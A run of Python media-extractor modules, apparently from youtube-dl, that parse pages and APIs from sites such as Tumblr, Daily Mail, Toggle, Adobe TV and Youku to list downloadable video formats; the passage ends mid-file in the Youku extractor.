        'url': 'http://vitasidorkina.tumblr.com/post/134652425014/joskriver-victoriassecret-invisibility-or',
        'md5': '01c12ceb82cbf6b2fe0703aa56b3ad72',
        'info_dict': {
            'id': '-7LnUPGlSo',
            'ext': 'mp4',
            'title': 'Video by victoriassecret',
            'description': 'Invisibility or flight…which superpower would YOU choose? #VSFashionShow #ThisOrThat',
            'uploader_id': 'victoriassecret',
            'thumbnail': 're:^https?://.*\.jpg'
        },
        'add_ie': ['Instagram'],
    }]

    def _real_extract(self, url):
        m_url = re.match(self._VALID_URL, url)
        video_id = m_url.group('id')
        blog = m_url.group('blog_name')

        url = 'http://%s.tumblr.com/post/%s/' % (blog, video_id)
        webpage, urlh = self._download_webpage_handle(url, video_id)

        iframe_url = self._search_regex(
            r'src=\'(https?://www\.tumblr\.com/video/[^\']+)\'',
            webpage, 'iframe url', default=None)
        if iframe_url is None:
            return self.url_result(urlh.geturl(), 'Generic')

        iframe = self._download_webpage(iframe_url, video_id, 'Downloading iframe page')

        duration = None
        sources = []

        sd_url = self._search_regex(
            r'<source[^>]+src=(["\'])(?P<url>.+?)\1', iframe,
            'sd video url', default=None, group='url')
        if sd_url:
            sources.append((sd_url, 'sd'))

        options = self._parse_json(
            self._search_regex(
                r'data-crt-options=(["\'])(?P<options>.+?)\1', iframe,
                'hd video url', default='', group='options'),
            video_id, fatal=False)
        if options:
            duration = int_or_none(options.get('duration'))
            hd_url = options.get('hdUrl')
            if hd_url:
                sources.append((hd_url, 'hd'))

        formats = [{
            'url': video_url,
            'ext': 'mp4',
            'format_id': format_id,
            'height': int_or_none(self._search_regex(
                r'/(\d{3,4})$', video_url, 'height', default=None)),
            'quality': quality,
        } for quality, (video_url, format_id) in enumerate(sources)]

        self._sort_formats(formats)

        # The only place where you can get a title, it's not complete,
        # but searching in other places doesn't work for all videos
        video_title = self._html_search_regex(
            r'(?s)<title>(?P<title>.*?)(?: \| Tumblr)?</title>',
            webpage, 'title')

        return {
            'id': video_id,
            'title': video_title,
            'description': self._og_search_description(webpage, default=None),
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import float_or_none


class AudioBoomIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?audioboom\.com/boos/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'https://audioboom.com/boos/4279833-3-09-2016-czaban-hour-3?t=0',
        'md5': '63a8d73a055c6ed0f1e51921a10a5a76',
        'info_dict': {
            'id': '4279833',
            'ext': 'mp3',
            'title': '3/09/2016 Czaban Hour 3',
            'description': 'Guest:   Nate Davis - NFL free agency,   Guest:   Stan Gans',
            'duration': 2245.72,
            'uploader': 'Steve Czaban',
            'uploader_url': 're:https?://(?:www\.)?audioboom\.com/channel/steveczabanyahoosportsradio',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        clip = None

        clip_store = self._parse_json(
            self._search_regex(
                r'data-new-clip-store=(["\'])(?P<json>{.*?"clipId"\s*:\s*%s.*?})\1' % video_id,
                webpage, 'clip store', default='{}', group='json'),
            video_id, fatal=False)
        if clip_store:
            clips = clip_store.get('clips')
            if clips and isinstance(clips, list) and isinstance(clips[0], dict):
                clip = clips[0]

        def from_clip(field):
            if clip:
                clip.get(field)

        audio_url = from_clip('clipURLPriorToLoading') or self._og_search_property(
            'audio', webpage, 'audio url')
        title = from_clip('title') or self._og_search_title(webpage)
        description = from_clip('description') or self._og_search_description(webpage)

        duration = float_or_none(from_clip('duration') or self._html_search_meta(
            'weibo:audio:duration', webpage))

        uploader = from_clip('author') or self._og_search_property(
            'audio:artist', webpage, 'uploader', fatal=False)
        uploader_url = from_clip('author_url') or self._html_search_meta(
            'audioboo:channel', webpage, 'uploader url')

        return {
            'id': video_id,
            'url': audio_url,
            'title': title,
            'description': description,
            'duration': duration,
            'uploader': uploader,
            'uploader_url': uploader_url,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    determine_protocol,
    unescapeHTML,
)


class DailyMailIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?dailymail\.co\.uk/video/[^/]+/video-(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.dailymail.co.uk/video/tvshowbiz/video-1295863/The-Mountain-appears-sparkling-water-ad-Heavy-Bubbles.html',
        'md5': 'f6129624562251f628296c3a9ffde124',
        'info_dict': {
            'id': '1295863',
            'ext': 'mp4',
            'title': 'The Mountain appears in sparkling water ad for \'Heavy Bubbles\'',
            'description': 'md5:a93d74b6da172dd5dc4d973e0b766a84',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video_data = self._parse_json(self._search_regex(
            r"data-opts='({.+?})'", webpage, 'video data'), video_id)
        title = unescapeHTML(video_data['title'])
        video_sources = self._download_json(video_data.get(
            'sources', {}).get('url') or 'http://www.dailymail.co.uk/api/player/%s/video-sources.json' % video_id, video_id)

        formats = []
        for rendition in video_sources['renditions']:
            rendition_url = rendition.get('url')
            if not rendition_url:
                continue
            tbr = int_or_none(rendition.get('encodingRate'), 1000)
            container = rendition.get('videoContainer')
            is_hls = container == 'M2TS'
            protocol = 'm3u8_native' if is_hls else determine_protocol({'url': rendition_url})
            formats.append({
                'format_id': ('hls' if is_hls else protocol) + ('-%d' % tbr if tbr else ''),
                'url': rendition_url,
                'width': int_or_none(rendition.get('frameWidth')),
                'height': int_or_none(rendition.get('frameHeight')),
                'tbr': tbr,
                'vcodec': rendition.get('videoCodec'),
                'container': container,
                'protocol': protocol,
                'ext': 'mp4' if is_hls else None,
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': unescapeHTML(video_data.get('descr')),
            'thumbnail': video_data.get('poster') or video_data.get('thumbnail'),
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    qualities,
)


class TassIE(InfoExtractor):
    _VALID_URL = r'https?://(?:tass\.ru|itar-tass\.com)/[^/]+/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://tass.ru/obschestvo/1586870',
            'md5': '3b4cdd011bc59174596b6145cda474a4',
            'info_dict': {
                'id': '1586870',
                'ext': 'mp4',
                'title': 'Посетителям московского зоопарка показали красную панду',
                'description': 'Приехавшую из Дублина Зейну можно увидеть в павильоне "Кошки тропиков"',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://itar-tass.com/obschestvo/1600009',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        sources = json.loads(js_to_json(self._search_regex(
            r'(?s)sources\s*:\s*(\[.+?\])', webpage, 'sources')))

        quality = qualities(['sd', 'hd'])

        formats = []
        for source in sources:
            video_url = source.get('file')
            if not video_url or not video_url.startswith('http') or not video_url.endswith('.mp4'):
                continue
            label = source.get('label')
            formats.append({
                'url': video_url,
                'format_id': label,
                'quality': quality(label),
            })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'formats': formats,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor


class NewgroundsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?newgrounds\.com/(?:audio/listen|portal/view)/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.newgrounds.com/audio/listen/549479',
        'md5': 'fe6033d297591288fa1c1f780386f07a',
        'info_dict': {
            'id': '549479',
            'ext': 'mp3',
            'title': 'B7 - BusMode',
            'uploader': 'Burn7',
        }
    }, {
        'url': 'http://www.newgrounds.com/portal/view/673111',
        'md5': '3394735822aab2478c31b1004fe5e5bc',
        'info_dict': {
            'id': '673111',
            'ext': 'mp4',
            'title': 'Dancin',
            'uploader': 'Squirrelman82',
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        music_id = mobj.group('id')
        webpage = self._download_webpage(url, music_id)

        title = self._html_search_regex(
            r'<title>([^>]+)</title>', webpage, 'title')

        uploader = self._html_search_regex(
            [r',"artist":"([^"]+)",', r'[\'"]owner[\'"]\s*:\s*[\'"]([^\'"]+)[\'"],'],
            webpage, 'uploader')

        music_url_json_string = self._html_search_regex(
            r'({"url":"[^"]+"),', webpage, 'music url') + '}'
        music_url_json = json.loads(music_url_json_string)
        music_url = music_url_json['url']

        return {
            'id': music_id,
            'title': title,
            'url': music_url,
            'uploader': uploader,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    ExtractorError,
    float_or_none,
    int_or_none,
    parse_iso8601,
    sanitized_Request,
)


class ToggleIE(InfoExtractor):
    IE_NAME = 'toggle'
    _VALID_URL = r'https?://video\.toggle\.sg/(?:en|zh)/(?:series|clips|movies)/(?:[^/]+/)+(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://video.toggle.sg/en/series/lion-moms-tif/trailers/lion-moms-premier/343115',
        'info_dict': {
            'id': '343115',
            'ext': 'mp4',
            'title': 'Lion Moms Premiere',
            'description': 'md5:aea1149404bff4d7f7b6da11fafd8e6b',
            'upload_date': '20150910',
            'timestamp': 1441858274,
        },
        'params': {
            'skip_download': 'm3u8 download',
        }
    }, {
        'note': 'DRM-protected video',
        'url': 'http://video.toggle.sg/en/movies/dug-s-special-mission/341413',
        'info_dict': {
            'id': '341413',
            'ext': 'wvm',
            'title': 'Dug\'s Special Mission',
            'description': 'md5:e86c6f4458214905c1772398fabc93e0',
            'upload_date': '20150827',
            'timestamp': 1440644006,
        },
        'params': {
            'skip_download': 'DRM-protected wvm download',
        }
    }, {
        # this also tests correct video id extraction
        'note': 'm3u8 links are geo-restricted, but Android/mp4 is okay',
        'url': 'http://video.toggle.sg/en/series/28th-sea-games-5-show/28th-sea-games-5-show-ep11/332861',
        'info_dict': {
            'id': '332861',
            'ext': 'mp4',
            'title': '28th SEA Games (5 Show) -  Episode  11',
            'description': 'md5:3cd4f5f56c7c3b1340c50a863f896faa',
            'upload_date': '20150605',
            'timestamp': 1433480166,
        },
        'params': {
            'skip_download': 'DRM-protected wvm download',
        },
        'skip': 'm3u8 links are geo-restricted'
    }, {
        'url': 'http://video.toggle.sg/en/clips/seraph-sun-aloysius-will-suddenly-sing-some-old-songs-in-high-pitch-on-set/343331',
        'only_matching': True,
    }, {
        'url': 'http://video.toggle.sg/zh/series/zero-calling-s2-hd/ep13/336367',
        'only_matching': True,
    }, {
        'url': 'http://video.toggle.sg/en/series/vetri-s2/webisodes/jeeva-is-an-orphan-vetri-s2-webisode-7/342302',
        'only_matching': True,
    }, {
        'url': 'http://video.toggle.sg/en/movies/seven-days/321936',
        'only_matching': True,
    }]

    _FORMAT_PREFERENCES = {
        'wvm-STBMain': -10,
        'wvm-iPadMain': -20,
        'wvm-iPhoneMain': -30,
        'wvm-Android': -40,
    }
    _API_USER = 'tvpapi_147'
    _API_PASS = '11111'

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            url, video_id, note='Downloading video page')

        api_user = self._search_regex(
            r'apiUser\s*:\s*(["\'])(?P<user>.+?)\1', webpage, 'apiUser',
            default=self._API_USER, group='user')
        api_pass = self._search_regex(
            r'apiPass\s*:\s*(["\'])(?P<pass>.+?)\1', webpage, 'apiPass',
            default=self._API_PASS, group='pass')

        params = {
            'initObj': {
                'Locale': {
                    'LocaleLanguage': '',
                    'LocaleCountry': '',
                    'LocaleDevice': '',
                    'LocaleUserState': 0
                },
                'Platform': 0,
                'SiteGuid': 0,
                'DomainID': '0',
                'UDID': '',
                'ApiUser': api_user,
                'ApiPass': api_pass
            },
            'MediaID': video_id,
            'mediaType': 0,
        }

        req = sanitized_Request(
            'http://tvpapi.as.tvinci.com/v2_9/gateways/jsonpostgw.aspx?m=GetMediaInfo',
            json.dumps(params).encode('utf-8'))
        info = self._download_json(req, video_id, 'Downloading video info json')

        title = info['MediaName']

        formats = []
        for video_file in info.get('Files', []):
            video_url, vid_format = video_file.get('URL'), video_file.get('Format')
            if not video_url or not vid_format:
                continue
            ext = determine_ext(video_url)
            vid_format = vid_format.replace(' ', '')
            # if geo-restricted, m3u8 is inaccessible, but mp4 is okay
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, ext='mp4', m3u8_id=vid_format,
                    note='Downloading %s m3u8 information' % vid_format,
                    errnote='Failed to download %s m3u8 information' % vid_format,
                    fatal=False))
            elif ext in ('mp4', 'wvm'):
                # wvm are drm-protected files
                formats.append({
                    'ext': ext,
                    'url': video_url,
                    'format_id': vid_format,
                    'preference': self._FORMAT_PREFERENCES.get(ext + '-' + vid_format) or -1,
                    'format_note': 'DRM-protected video' if ext == 'wvm' else None
                })
        if not formats:
            # Most likely because geo-blocked
            raise ExtractorError('No downloadable videos found', expected=True)
        self._sort_formats(formats)

        duration = int_or_none(info.get('Duration'))
        description = info.get('Description')
        created_at = parse_iso8601(info.get('CreationDate') or None)

        average_rating = float_or_none(info.get('Rating'))
        view_count = int_or_none(info.get('ViewCounter') or info.get('view_counter'))
        like_count = int_or_none(info.get('LikeCounter') or info.get('like_counter'))

        thumbnails = []
        for picture in info.get('Pictures', []):
            if not isinstance(picture, dict):
                continue
            pic_url = picture.get('URL')
            if not pic_url:
                continue
            thumbnail = {
                'url': pic_url,
            }
            pic_size = picture.get('PicSize', '')
            m = re.search(r'(?P<width>\d+)[xX](?P<height>\d+)', pic_size)
            if m:
                thumbnail.update({
                    'width': int(m.group('width')),
                    'height': int(m.group('height')),
                })
            thumbnails.append(thumbnail)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': created_at,
            'average_rating': average_rating,
            'view_count': view_count,
            'like_count': like_count,
            'thumbnails': thumbnails,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    parse_duration,
    unified_strdate,
    str_to_int,
    int_or_none,
    float_or_none,
    ISO639Utils,
    determine_ext,
)


class AdobeTVBaseIE(InfoExtractor):
    _API_BASE_URL = 'http://tv.adobe.com/api/v4/'


class AdobeTVIE(AdobeTVBaseIE):
    _VALID_URL = r'https?://tv\.adobe\.com/(?:(?P<language>fr|de|es|jp)/)?watch/(?P<show_urlname>[^/]+)/(?P<id>[^/]+)'

    _TEST = {
        'url': 'http://tv.adobe.com/watch/the-complete-picture-with-julieanne-kost/quick-tip-how-to-draw-a-circle-around-an-object-in-photoshop/',
        'md5': '9bc5727bcdd55251f35ad311ca74fa1e',
        'info_dict': {
            'id': '10981',
            'ext': 'mp4',
            'title': 'Quick Tip - How to Draw a Circle Around an Object in Photoshop',
            'description': 'md5:99ec318dc909d7ba2a1f2b038f7d2311',
            'thumbnail': 're:https?://.*\.jpg$',
            'upload_date': '20110914',
            'duration': 60,
            'view_count': int,
        },
    }

    def _real_extract(self, url):
        language, show_urlname, urlname = re.match(self._VALID_URL, url).groups()
        if not language:
            language = 'en'

        video_data = self._download_json(
            self._API_BASE_URL + 'episode/get/?language=%s&show_urlname=%s&urlname=%s&disclosure=standard' % (language, show_urlname, urlname),
            urlname)['data'][0]

        formats = [{
            'url': source['url'],
            'format_id': source.get('quality_level') or source['url'].split('-')[-1].split('.')[0] or None,
            'width': int_or_none(source.get('width')),
            'height': int_or_none(source.get('height')),
            'tbr': int_or_none(source.get('video_data_rate')),
        } for source in video_data['videos']]
        self._sort_formats(formats)

        return {
            'id': compat_str(video_data['id']),
            'title': video_data['title'],
            'description': video_data.get('description'),
            'thumbnail': video_data.get('thumbnail'),
            'upload_date': unified_strdate(video_data.get('start_date')),
            'duration': parse_duration(video_data.get('duration')),
            'view_count': str_to_int(video_data.get('playcount')),
            'formats': formats,
        }


class AdobeTVPlaylistBaseIE(AdobeTVBaseIE):
    def _parse_page_data(self, page_data):
        return [self.url_result(self._get_element_url(element_data)) for element_data in page_data]

    def _extract_playlist_entries(self, url, display_id):
        page = self._download_json(url, display_id)
        entries = self._parse_page_data(page['data'])
        for page_num in range(2, page['paging']['pages'] + 1):
            entries.extend(self._parse_page_data(
                self._download_json(url + '&page=%d' % page_num, display_id)['data']))
        return entries


class AdobeTVShowIE(AdobeTVPlaylistBaseIE):
    _VALID_URL = r'https?://tv\.adobe\.com/(?:(?P<language>fr|de|es|jp)/)?show/(?P<id>[^/]+)'

    _TEST = {
        'url': 'http://tv.adobe.com/show/the-complete-picture-with-julieanne-kost',
        'info_dict': {
            'id': '36',
            'title': 'The Complete Picture with Julieanne Kost',
            'description': 'md5:fa50867102dcd1aa0ddf2ab039311b27',
        },
        'playlist_mincount': 136,
    }

    def _get_element_url(self, element_data):
        return element_data['urls'][0]

    def _real_extract(self, url):
        language, show_urlname = re.match(self._VALID_URL, url).groups()
        if not language:
            language = 'en'
        query = 'language=%s&show_urlname=%s' % (language, show_urlname)

        show_data = self._download_json(self._API_BASE_URL + 'show/get/?%s' % query, show_urlname)['data'][0]

        return self.playlist_result(
            self._extract_playlist_entries(self._API_BASE_URL + 'episode/?%s' % query, show_urlname),
            compat_str(show_data['id']),
            show_data['show_name'],
            show_data['show_description'])


class AdobeTVChannelIE(AdobeTVPlaylistBaseIE):
    _VALID_URL = r'https?://tv\.adobe\.com/(?:(?P<language>fr|de|es|jp)/)?channel/(?P<id>[^/]+)(?:/(?P<category_urlname>[^/]+))?'

    _TEST = {
        'url': 'http://tv.adobe.com/channel/development',
        'info_dict': {
            'id': 'development',
        },
        'playlist_mincount': 96,
    }

    def _get_element_url(self, element_data):
        return element_data['url']

    def _real_extract(self, url):
        language, channel_urlname, category_urlname = re.match(self._VALID_URL, url).groups()
        if not language:
            language = 'en'
        query = 'language=%s&channel_urlname=%s' % (language, channel_urlname)
        if category_urlname:
            query += '&category_urlname=%s' % category_urlname

        return self.playlist_result(
            self._extract_playlist_entries(self._API_BASE_URL + 'show/?%s' % query, channel_urlname),
            channel_urlname)


class AdobeTVVideoIE(InfoExtractor):
    _VALID_URL = r'https?://video\.tv\.adobe\.com/v/(?P<id>\d+)'

    _TEST = {
        # From https://helpx.adobe.com/acrobat/how-to/new-experience-acrobat-dc.html?set=acrobat--get-started--essential-beginners
        'url': 'https://video.tv.adobe.com/v/2456/',
        'md5': '43662b577c018ad707a63766462b1e87',
        'info_dict': {
            'id': '2456',
            'ext': 'mp4',
            'title': 'New experience with Acrobat DC',
            'description': 'New experience with Acrobat DC',
            'duration': 248.667,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_data = self._parse_json(self._search_regex(
            r'var\s+bridge\s*=\s*([^;]+);', webpage, 'bridged data'), video_id)

        formats = [{
            'format_id': '%s-%s' % (determine_ext(source['src']), source.get('height')),
            'url': source['src'],
            'width': int_or_none(source.get('width')),
            'height': int_or_none(source.get('height')),
            'tbr': int_or_none(source.get('bitrate')),
        } for source in video_data['sources']]
        self._sort_formats(formats)

        # For both metadata and downloaded files the duration varies among
        # formats. I just pick the max one
        duration = max(filter(None, [
            float_or_none(source.get('duration'), scale=1000)
            for source in video_data['sources']]))

        subtitles = {}
        for translation in video_data.get('translations', []):
            lang_id = translation.get('language_w3c') or ISO639Utils.long2short(translation['language_medium'])
            if lang_id not in subtitles:
                subtitles[lang_id] = []
            subtitles[lang_id].append({
                'url': translation['vttPath'],
                'ext': 'vtt',
            })

        return {
            'id': video_id,
            'formats': formats,
            'title': video_data['title'],
            'description': video_data.get('description'),
            'thumbnail': video_data['video'].get('poster'),
            'duration': duration,
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_HTTPError
from ..utils import (
    ExtractorError,
    int_or_none,
    url_basename,
)


class EaglePlatformIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    (?:
                        eagleplatform:(?P<custom_host>[^/]+):|
                        https?://(?P<host>.+?\.media\.eagleplatform\.com)/index/player\?.*\brecord_id=
                    )
                    (?P<id>\d+)
                '''
    _TESTS = [{
        # http://lenta.ru/news/2015/03/06/navalny/
        'url': 'http://lentaru.media.eagleplatform.com/index/player?player=new&record_id=227304&player_template_id=5201',
        # Not checking MD5 as sometimes the direct HTTP link results in 404 and HLS is used
        'info_dict': {
            'id': '227304',
            'ext': 'mp4',
            'title': 'Навальный вышел на свободу',
            'description': 'md5:d97861ac9ae77377f3f20eaf9d04b4f5',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 87,
            'view_count': int,
            'age_limit': 0,
        },
    }, {
        # http://muz-tv.ru/play/7129/
        # http://media.clipyou.ru/index/player?record_id=12820&width=730&height=415&autoplay=true
        'url': 'eagleplatform:media.clipyou.ru:12820',
        'md5': '358597369cf8ba56675c1df15e7af624',
        'info_dict': {
            'id': '12820',
            'ext': 'mp4',
            'title': "'O Sole Mio",
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 216,
            'view_count': int,
        },
        'skip': 'Georestricted',
    }]

    @staticmethod
    def _extract_url(webpage):
        # Regular iframe embedding
        mobj = re.search(
            r'<iframe[^>]+src=(["\'])(?P<url>(?:https?:)?//.+?\.media\.eagleplatform\.com/index/player\?.+?)\1',
            webpage)
        if mobj is not None:
            return mobj.group('url')
        # Basic usage embedding (see http://dultonmedia.github.io/eplayer/)
        mobj = re.search(
            r'''(?xs)
                    <script[^>]+
                        src=(?P<q1>["\'])(?:https?:)?//(?P<host>.+?\.media\.eagleplatform\.com)/player/player\.js(?P=q1)
                    .+?
                    <div[^>]+
                        class=(?P<q2>["\'])eagleplayer(?P=q2)[^>]+
                        data-id=["\'](?P<id>\d+)
            ''', webpage)
        if mobj is not None:
            return 'eagleplatform:%(host)s:%(id)s' % mobj.groupdict()

    @staticmethod
    def _handle_error(response):
        status = int_or_none(response.get('status', 200))
        if status != 200:
            raise ExtractorError(' '.join(response['errors']), expected=True)

    def _download_json(self, url_or_request, video_id, note='Downloading JSON metadata'):
        try:
            response = super(EaglePlatformIE, self)._download_json(url_or_request, video_id, note)
        except ExtractorError as ee:
            if isinstance(ee.cause, compat_HTTPError):
                response = self._parse_json(ee.cause.read().decode('utf-8'), video_id)
                self._handle_error(response)
            raise
        return response

    def _get_video_url(self, url_or_request, video_id, note='Downloading JSON metadata'):
        return self._download_json(url_or_request, video_id, note)['data'][0]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        host, video_id = mobj.group('custom_host') or mobj.group('host'), mobj.group('id')

        player_data = self._download_json(
            'http://%s/api/player_data?id=%s' % (host, video_id), video_id)

        media = player_data['data']['playlist']['viewports'][0]['medialist'][0]

        title = media['title']
        description = media.get('description')
        thumbnail = self._proto_relative_url(media.get('snapshot'), 'http:')
        duration = int_or_none(media.get('duration'))
        view_count = int_or_none(media.get('views'))

        age_restriction = media.get('age_restriction')
        age_limit = None
        if age_restriction:
            age_limit = 0 if age_restriction == 'allow_all' else 18

        secure_m3u8 = self._proto_relative_url(media['sources']['secure_m3u8']['auto'], 'http:')

        formats = []

        m3u8_url = self._get_video_url(secure_m3u8, video_id, 'Downloading m3u8 JSON')
        m3u8_formats = self._extract_m3u8_formats(
            m3u8_url, video_id,
            'mp4', entry_protocol='m3u8_native', m3u8_id='hls')
        formats.extend(m3u8_formats)

        mp4_url = self._get_video_url(
            # Secure mp4 URL is constructed according to Player.prototype.mp4 from
            # http://lentaru.media.eagleplatform.com/player/player.js
            re.sub(r'm3u8|hlsvod|hls|f4m', 'mp4', secure_m3u8),
            video_id, 'Downloading mp4 JSON')
        mp4_url_basename = url_basename(mp4_url)
        for m3u8_format in m3u8_formats:
            mobj = re.search('/([^/]+)/index\.m3u8', m3u8_format['url'])
            if mobj:
                http_format = m3u8_format.copy()
                video_url = mp4_url.replace(mp4_url_basename, mobj.group(1))
                if not self._is_valid_url(video_url, video_id):
                    continue
                http_format.update({
                    'url': video_url,
                    'format_id': m3u8_format['format_id'].replace('hls', 'http'),
                    'protocol': 'http',
                })
                formats.append(http_format)

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'view_count': view_count,
            'age_limit': age_limit,
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class MoviezineIE(InfoExtractor):
    _VALID_URL = r'https?://www\.moviezine\.se/video/(?P<id>[^?#]+)'

    _TEST = {
        'url': 'http://www.moviezine.se/video/205866',
        'info_dict': {
            'id': '205866',
            'ext': 'mp4',
            'title': 'Oculus - Trailer 1',
            'description': 'md5:40cc6790fc81d931850ca9249b40e8a4',
            'thumbnail': 're:http://.*\.jpg',
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)
        jsplayer = self._download_webpage('http://www.moviezine.se/api/player.js?video=%s' % video_id, video_id, 'Downloading js api player')

        formats = [{
            'format_id': 'sd',
            'url': self._html_search_regex(r'file: "(.+?)",', jsplayer, 'file'),
            'quality': 0,
            'ext': 'mp4',
        }]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._search_regex(r'title: "(.+?)",', jsplayer, 'title'),
            'thumbnail': self._search_regex(r'image: "(.+?)",', jsplayer, 'image'),
            'formats': formats,
            'description': self._og_search_description(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import base64
import itertools
import random
import re
import string
import time

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_ord,
)
from ..utils import (
    ExtractorError,
    get_element_by_attribute,
)


class YoukuIE(InfoExtractor):
    IE_NAME = 'youku'
    IE_DESC = '优酷'
    _VALID_URL = r'''(?x)
        (?:
            http://(?:v|player)\.youku\.com/(?:v_show/id_|player\.php/sid/)|
            youku:)
        (?P<id>[A-Za-z0-9]+)(?:\.html|/v\.swf|)
    '''

    _TESTS = [{
        # MD5 is unstable
        'url': 'http://v.youku.com/v_show/id_XMTc1ODE5Njcy.html',
        'info_dict': {
            'id': 'XMTc1ODE5Njcy_part1',
            'title': '★Smile﹗♡ Git Fresh -Booty Music舞蹈.',
            'ext': 'flv'
        }
    }, {
        'url': 'http://player.youku.com/player.php/sid/XNDgyMDQ2NTQw/v.swf',
        'only_matching': True,
    }, {
        'url': 'http://v.youku.com/v_show/id_XODgxNjg1Mzk2_ev_1.html',
        'info_dict': {
            'id': 'XODgxNjg1Mzk2',
            'title': '武媚娘传奇 85',
        },
        'playlist_count': 11,
        'skip': 'Available in China only',
    }, {
        'url': 'http://v.youku.com/v_show/id_XMTI1OTczNDM5Mg==.html',
        'info_dict': {
            'id': 'XMTI1OTczNDM5Mg',
            'title': '花千骨 04',
        },
        'playlist_count': 13,
    }, {
        'url': 'http://v.youku.com/v_show/id_XNjA1NzA2Njgw.html',
        'note': 'Video protected with password',
        'info_dict': {
            'id': 'XNjA1NzA2Njgw',
            'title': '邢義田复旦讲座之想象中的胡人—从“左衽孔子”说起',
        },
        'playlist_count': 19,
        'params': {
            'videopassword': '100600',
        },
    }, {
        # /play/get.json contains streams with "channel_type":"tail"
        'url': 'http://v.youku.com/v_show/id_XOTUxMzg4NDMy.html',
        'info_dict': {
            'id': 'XOTUxMzg4NDMy',
            'title': '我的世界☆明月庄主☆车震猎杀☆杀人艺术Minecraft',
        },
        'playlist_count': 6,
    }]

    def construct_video_urls(self, data):
        # get sid, token
        def yk_t(s1, s2):
            ls = list(range(256))
            t = 0
            for i in range(256):
                t = (t + ls[i] + compat_ord(s1[i % len(s1)])) % 256
                ls[i], ls[t] = ls[t], ls[i]
            s = bytearray()
            x, y = 0, 0
            for i in range(len(s2)):
                y = (y + 1) % 256
                x = (x + ls[y]) % 256
                ls[x], ls[y] = ls[y], ls[x]
                s.append(compat_ord(s2[i]) ^ ls[(ls[x] + ls[y]) % 256])
            return bytes(s)

        sid, token = yk_t(
            b'becaf9be', base64.b64decode(data['security']['encrypt_string'].encode('ascii'))
        ).decode('ascii').split('_')

        # get oip
        oip = data['security']['ip']

        fileid_dict = {}
        for stream in data['stream']:
            if stream.get('channel_type') == 'tail':
                continue
            format = stream.get('stream_type')
            fileid = stream['stream_fileid']
            fileid_dict[format] = fileid

        def get_fileid(format, n):
            number = hex(int(str(n), 10))[2:].upper()
            if len(number) == 1:
                number = '0' + number
            streamfileids = fileid_dict[format]
            fileid = streamfileids[0:8] + number + streamfileids[10:]
            return fileid

        # get ep
        def generate_ep(format, n):
            fileid = get_fileid(format, n)
            ep_t = yk_t(
                b'bf7e5f01',
                ('%s_%s_%s' % (sid, fileid, token)).encode('ascii')
            )
            ep = base64.b64encode(ep_t).decode('ascii')
            return ep

        # generate video_urls
        video_urls_dict = {}
        for stream in data['stream']:
            if stream.get('channel_type') == 'tail':
                continue
            format = stream.get('stream_type')
            video_urls = []
            for dt in stream['segs']:
                n = str(stream['segs'].index(dt))
                param = {
                    'K': dt['key'],
                    'hd': self.get_hd(format),
                    'myp': 0,
                    'ypp': 0,
                    'ctype': 12,
                    'ev': 1,
                    'token': token,
                    'oip': oip,
                    'ep': generate_ep(format, n)
                }
                video_url = \
                    'http://k.youku.com/player/getFlvPath/' + \
                    'sid/' + sid + \
                    '_00' + \
                    '/st/' + self.parse_ext_l(format) + \
                    '/fileid/' + get_fileid(format, n) + '?' + \
                    compat_urllib_parse_urlencode(param)
                video_urls.append(video_url)
            video_urls_dict[format] = video_urls

        return video_urls_dict

    @staticmethod
    def get_ysuid():
